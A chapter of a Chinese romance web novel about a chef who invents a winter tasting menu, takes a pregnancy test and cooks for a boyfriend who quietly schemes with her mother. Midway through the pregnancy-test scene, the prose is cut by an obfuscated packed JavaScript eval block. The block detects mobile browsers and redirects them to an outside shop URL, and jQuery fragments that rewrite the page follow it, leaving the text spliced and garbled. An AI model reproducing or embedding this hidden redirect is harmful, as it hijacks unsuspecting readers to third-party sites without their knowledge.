林影推开「倒影」饭馆的木门时，檐角的风铃轻响，她恰好撞见伍红抬眼时的愤怒和遗憾。
伍红是店里的老食客了，每个月总会抽出两三个周末驱车来店里，点一份松茸蒸蛋配熏肉，说这里的味道能让她想起外婆家的后山。
可今天，她面前的蒸蛋只动了两口，眉头微蹙着，像是十分不满的样子。
“红姐，是菜品不合口味？”林影走过去，询问对方的意见，她已经换上素白的厨师服，袖口挽到小臂，露出精瘦的手臂肌肉。
伍红抬眼，语气里带着几分惋惜：“小林，今天的松茸蒸蛋少了点鲜灵劲儿，熏肉也偏咸了。”
她顿了顿，目光扫过窗外枝桠间悬着的冬日残叶，“可能是我太久没来，总惦记着以前的味道。”
林影的心轻轻一沉，店里的厨师是上个月新来的，手艺尚可，但到底还是比不上自己，碰上红姐这样的老食客还是显得嫩了点。
她望着伍红眼底藏着的失落，忽然想起上个月去北方巡山时看到的景象：松针上积着薄霜，枫叶经霜后红得透亮，山涧里鲑鱼正奋力洄游，鳞片在月光下闪着银辉。
灵感陡然冒出来，像初春的嫩芽破土而出。
“红姐，您等我半小时，我给您做一套新的套餐。”林影的眼睛亮了起来，语气里带着抑制不住的兴奋，“就叫「冬日之爱」。”
不等伍红回应，林影已经转身扎进了后厨。手指握到厨具的瞬间，她整个人都变得熠熠生辉起来。
做松茸蒸蛋时，她选择的是海拔一千二百米的野生松茸，用刀背细细碾成碎末，混进筛过三遍的蛋液里，加少许山泉水和盐，蒸制时全程用小火，确保蛋羹细腻得像云朵。
出锅前，她将切得极薄的松茸片铺在蛋羹表面，再放进蒸箱焖两分钟，让松茸的鲜香完全渗入蛋羹。随后，她取出一片提前用高温消毒、再经低温烘烤的枫叶，那枫叶边缘微微卷曲，红得均匀透亮，她小心翼翼地将其放在碗口一侧，恰好与蛋羹的倒影相映，宛如寒夜湖中浮着的一轮明月。
“这是自然的馈赠，该用最温柔的方式呈现。”林影轻声呢喃，像在和自己最珍贵的宝贝对话。
接下来是熏山猪肉。她选用的是本地农户散养的黑猪后腿肉，之前八角、桂皮、香叶腌制了三小时，再用松针和柏木慢熏四小时，直到肉质变得紧实，带着淡淡的草木香。
盛肉的盘子是特意定制的黑色粗陶盘，纹理粗糙，如同火山岩石。她在盘底铺满新鲜的海草，那海草是今早从海边坐飞机过来的，带着海水的咸鲜，翠绿的颜色与黑色的盘子形成鲜明对比。
两片熏肉切得厚薄均匀，斜斜地搭在海草上，油脂顺着肉的纹理慢慢渗出，浸润了下方的海草，香气愈发浓郁。
处理鲑鱼时，林影的动作格外轻柔。她先将鲑鱼肉片成薄片，用少许柠檬汁腌制十分钟去腥味；又将鲑鱼籽洗净，沥干水分备用。
最费心思的是番茄脆皮，她选用熟透的本地番茄，去皮去籽后，将果肉打成泥，加入少量淀粉和蛋清，搅拌均匀后摊在平底锅上，用小火慢慢煎成薄脆，再小心翼翼地卷成鲑鱼的形状，将鲑鱼肉片和鱼籽酿在里面。
番茄的酸甜与鲑鱼的鲜香相互交织，光是闻着味道，林影就忍不住弯起了嘴角。
“酸甜开胃，正好中和熏肉的厚重。”她满意地点点头，将这道菜放进保温柜。
最后是那道菜林影准备做花果蔬菜沙拉，盛沙拉的盘子巨大，边缘呈波浪状，白瓷底色上点缀着细碎的蓝纹，如同冬日的星空。
林影从保鲜柜里取出几十种食材：山里的野草莓、蓝莓、山楂，田地里的胡萝卜、小番茄、生菜，还有晒干的无花果、杏仁、枸杞……每一种食材都经过仔细清洗、处理，切成大小均匀的小块，错落有致地摆放在盘子里，色彩斑斓得像一幅油画。
点睛之笔的是最后的是「冬日之爱」的「爱」，林影将新鲜的冬季草莓打成泥，加入琼脂熬煮，倒入嘴唇形状的模具中，冷藏定型后取出，那草莓啫喱粉粉嫩嫩，边缘圆润，真真切切像一对饱满的嘴唇。她将这“嘴唇”放在沙拉中央，旁边摆着一小瓶现熬的草莓酱。
当林影推着餐车走出后厨时，伍红的眼睛瞬间亮了。
四道菜依次摆上桌，从月光般的蒸蛋到火山岩般的熏肉，从鲑鱼形状的番茄脆皮到星空般的沙拉，每一道都透着巧思与灵气。
“这是……”伍红伸出手，指尖悬在枫叶上方，不敢触碰。
“松茸蒸蛋，枫叶是消毒过的，放心。”林影笑着解释，“熏山猪肉用的松针熏制，海草是今早刚捞的。鲑鱼是洄游的，番茄脆皮是现做的，酸甜开胃。沙拉里的花果蔬菜都是本地当季的，有好几十种呢！”
伍红先尝了一口松茸蒸蛋，蛋羹入口即化，松茸的鲜香在舌尖弥漫开来，搭配着枫叶的清冽气息，仿佛置身于冬日的山林间。
接着是熏山猪肉，肉质紧实不柴，带着松针的清香和海草的咸鲜，口感层次丰富。番茄脆皮咬下去“咔嚓”一声，番茄的酸甜与鲑鱼的鲜嫩、鱼籽的爆浆感交织在一起，瞬间唤醒了味蕾。
最后，她拿起草莓酱瓶，缓缓倒向那对“嘴唇”。草莓啫喱遇到温热的酱汁，慢慢散开，粉色的酱液与沙拉中的食材融合，宛如爱意蔓延。
伍红舀起一勺沙拉，水果的甜、蔬菜的脆、坚果的香，还有那若有似无的果香，在口中炸开，每一口都充满了惊喜。
“太好吃了。”伍红放下勺子，眼底满是惊艳，“这些食材都是本地的、当季的，既健康又美味，完全没有辜负自然的馈赠。而且这摆盘，空灵又简约，像仙境一样。”
她望着林影，语气无比认真，“小林，你知道吗？有些人天生就该做某件事。我天生就该吃遍天下美食，而你，天生就该成为厨师。”
林影静静地听着，嘴角始终挂着温和的微笑。她想起自己从小就喜欢摆弄食材，想起第一次做出满意的菜品时的喜悦，想起无数个在厨房忙碌的日夜。
今天她倒是久违地再次感受到纯粹的创造的意义。
“谢谢您，红姐。”林影轻声说。
伍红摆摆手，拿起纸巾擦了擦嘴角，眼神里带着几分狡黠：“我以后会不定期来抽查的，你可不能懈怠。”
“随时欢迎。”林影笑着送她到门口。
看着伍红的车消失在夜色中，林影转身回到店里。窗外的残叶已经徐徐落下，与碗口的枫叶倒影遥遥相对。
她抬手抚过脸颊，指尖还残留着草莓酱的甜香，心里满是难以言喻的幸福。
林影送走伍红后，回到办公室，关上门，进入厕所，掏出验孕棒，犹豫片刻后，她拨通了张晴雨的电话。
“晴雨，我有点事想跟你说。” 林影的声音带着几分不确定，“我可能怀孕了。”
电话那头的张晴雨愣了一下，她和林影的关系比张怀野还要好，有些事情林影不会对张怀野说，但会对张晴雨说，张晴雨知道林影一心扑在自己的小饭馆上，开口便问：“那你自己怎么想的？想生还是不想生？”
“我不知道。” 林影揉着眉心，语气迷茫，“如果真的怀孕了，我应该会选择生下来。但如果没有怀孕，张怀野要是要求我备孕，我又不愿意了。”
她叹了口气，“你也知道，他拍vlog，要是备孕肯定又要记录，到时候粉丝天天催更、追问进度，我想想就觉得窒息。而且备孕的过程我光是想想都觉得无法忍受，要调理身体、应付各种检查，我不想把这些都暴露在镜头下，更不想为了满足粉丝和他的期待，勉强自己。”
张晴雨沉默了几秒，一针见血地说：“所以你其实是希望顺其自然，不喜欢被人推着走，也不喜欢把私生活完全暴露在镜头前，对吧？”
“对！”林影像是找到了知音，连忙说道，“就是这种感觉。他最近粉丝涨得很猛，不停折腾拍摄，连累我都要配合他做他镜头里的完美女友。”
她的声音里带着几分委屈，“还有，如果我一直无法正常怀孕，你有没有觉得，张怀野好像就占据了某种道德高地？他在vlog里对我越好，粉丝就越觉得我幸福，到时候要是大家知道我不愿意备孕，肯定会骂我不知足。而我自己，也会觉得亏欠他，是我让他无法成为一个父亲。”
“林影，你别被这些绑架了。” 张晴雨的语气带着几分无奈，“你要清楚，你不是他vlog里的配角，而是活生生的人。”
林影靠在椅背上，眼神放空：“是啊，我觉得自己又清醒又糊涂，像是网上说的那种半睡半醒的人，我也想满足他，可我也不想苛求自己。”
“无论你做什么决定我都站在你这边。” 张晴雨安慰道，“但最终的决定还是需要你自己做。”
挂了电话，林影深吸一口气，按照说明操作，心里既紧张又忐忑。
等待结果的那几分钟，仿佛过了一个世纪。
当看到验孕棒上清晰的一条红线时，林影先是愣了愣，随即长长地松了一口气，紧绷的身体瞬间放松下来，眼眶甚至有些发热。
她看着镜子里的自己，脸色依旧苍白，却露出了久违的轻松笑容。这一刻，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119739|195957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她无比清晰地意识到，自己其实并不想要怀孕，
而这个结果，让她摆脱了那种两难的困境，也让她看清了自己真实的想法——她想要的是继续全力以赴，心无旁骛地做菜，而不是瞻前顾后，牺牲自己照顾别人的感受。
/
张怀野回到家时，玄关的感应灯缓缓亮起，沙发上空荡荡的，可林影平时一般都躺在那里，今天去哪儿了？他有些疑惑。
“我回来了。”张怀野的声音带着几分不易察觉的委屈，上午的时候林影就那么决绝地抛弃了自己，都没有来哄自己。
厨房里有声音传来，张怀野转身望去，呼吸猛地一滞。
林影穿着一件极简的婚纱，白色的蕾丝贴合着曲线，裙摆拖在地板上，随着她的动作轻轻晃动。婚纱的领口下，露出林影纤细的锁骨，衬得她肌肤胜雪，平日里那双专注于食材的手，此刻自然垂在身侧，指尖带着淡淡的烟火气。
“我新买了一个能穿下去的婚纱，只穿给你一个人看。”林影的声音很轻，带着几分柔软的妥协，“我做了你喜欢吃的菜，你想吃的糖醋排骨，还有我新发明的菜式松茸蒸蛋。”
婚纱的裙摆扫过厨房的地板，像一团洁白的云朵。
张怀野望着她的背影，心里的郁结瞬间消散了大半。
林影处理排骨时动作娴熟，刀锋起落间，带着平日烹饪时的专注与从容。糖醋汁的酸甜香气渐渐弥漫开来，混合着蔬菜的清新，填满了整个屋子。
“别站在这儿，油烟大。”林影头也没抬，语气里带着自然的关切。
“没事，我想看着你。”张怀野的声音柔得能滴出水来。
林影手上的动作顿了顿，抬起头看他，眼底带着浅浅的笑意：“我知道你是在乎我。但日子是我们两个人过的，没必要活给别人看。你喜欢看我穿婚纱的话，以后我就在家里穿给你看。”
晚餐时，张怀野吃得格外香，他不停地给林影夹菜，眼神里满是宠溺：“还是你做的最好吃。”
林影笑着应着，手里却拿起了手机，屏幕上是与伍红的聊天框。
伍红还在兴奋地探讨「冬日之爱」套餐的细节，发来一大段文字：“小林，那个草莓啫喱太绝了！‘向世界散播爱’的创意太浪漫了，而且食材都是本地的，健康又可持续，下次我要带朋友来尝！”
林影的眼睛瞬间亮了起来，指尖飞快地回复：“苏姐，我打算调整一下鲑鱼的做法，用低温慢煮保留更多汁水，番茄脆皮可以再薄一点，口感更脆。”她一边回复，一边回想伍红提出的建议，脑海里已经开始构思新的改良方案，嘴角不自觉地扬起，神情专注又热烈。
张怀野看着她低头玩手机时眼里的光，那是一种他从未在自己身上看到过的、纯粹的热爱与兴奋。他心里莫名地有些不是滋味，轻轻咳嗽了一声：“还在聊菜品？”
“嗯，红姐提了些很好的建议。”林影抬头看了他一眼，语气里带着抑制不住的喜悦，“她觉得沙拉的食材可以再增加几种本地的野果，我觉得可行，明天去山里找找。”
张怀野“哦”了一声，没再说话，只是默默地给她夹了一块排骨。
他不懂那些菜品的创意，翻来覆去不就是那些东西，也不懂她为什么能为了一道菜如此投入，他只知道，他想让她的注意力更多地放在自己身上。
临睡前，林影忽然说：“早上那个陪我们拍照的小妹妹，我总觉得有些眼熟。”
“是吗？在哪里见过？”张怀野顺着林影的话继续往下问。
林影回想起那阵带着血色的回忆，又摇摇头，说：“算了，不记得了。”
夜深了，林影已经睡着，呼吸均匀，脸颊带着淡淡的红晕。
张怀野躺在床上，忽然收到丈母娘的短信：【上次说的那个疗愈的课程，记得下周一带林影去上。】
很多时候，王子英不方便对林影做的事情，张怀野都会替她去做，这次也不例外。
【没问题，包在我身上。】张怀野一口答应下来。
撂下手机，张怀野嘴角勾起一抹志在必得的笑。
他觉得，接下来只要哄好丈母娘，让丈母娘站在自己这边，林影就会慢慢依赖他，她们的关系自然会越来越牢固。
黑暗中，两人并肩躺着，呼吸交织，心却隔着遥远的距离。
林影的梦里，是松针上的薄霜，是鲑鱼的银鳞，是草莓啫喱融化时的浪漫；而张怀野的思绪里，是算计，是占有，是他自以为是的“牢固”。
同一张床，两个梦境，暗潮汹涌，无人知晓。